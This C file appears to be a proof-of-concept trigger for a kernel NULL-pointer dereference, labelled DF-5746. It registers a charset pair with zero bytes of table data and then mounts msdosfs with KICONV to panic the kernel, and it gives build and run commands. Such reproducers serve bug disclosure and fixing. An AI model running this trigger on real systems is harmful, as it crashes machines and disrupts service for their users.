/* DF-5746 trigger A — NULL-pointer dereference in iconv_xlat16_open()
 *
 * sys/libiconv/iconv.c:410 only rejects ia_datalen > ICONV_CSMAXDATALEN;
 * ia_datalen == 0 is accepted and leaves csp->cp_data == NULL
 * (iconv_register_cspair passed data==NULL, iconv.c:426 skips the kmalloc).
 * When msdosfs is mounted with KICONV and this charset pair,
 * update_mp() -> iconv_open() -> iconv_xlat16_open() dereferences
 * idxp = csp->cp_data == NULL at sys/libiconv/iconv_xlat16.c:71
 * ("if (*idxp)") -> kernel page fault (read of VA 0) -> panic.
 *
 * Build: cc -O0 -g -I/usr/src/sys -o trigger_null trigger_null.c
 * Run:   ./trigger_null /dev/vn0 /mnt     (as root, msdosfs_iconv loaded)
 */
#include "common_kiconv.h"

int
main(int argc, char **argv)
{
	const char *dev, *dir;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <dev> <mountpoint>\n", argv[0]);
		return (2);
	}
	dev = argv[1];
	dir = argv[2];

	/* Malicious pair: converter xlat16, ZERO bytes of table data. */
	if (reg_pair("xlat16", "PWNX2", "UTF-16BE", NULL, 0) < 0)
		errx(1, "registration failed");

	printf("[*] mounting with KICONV cs_local=PWNX2 -> "
	    "iconv_xlat16_open() on cp_data==NULL ...\n");
	fflush(stdout);

	if (mount_kiconv(dev, dir, "PWNX2", "PWND2") < 0)
		errx(1, "mount returned (no panic?)");
	printf("[?] mount unexpectedly succeeded; check dmesg\n");
	return (0);
}
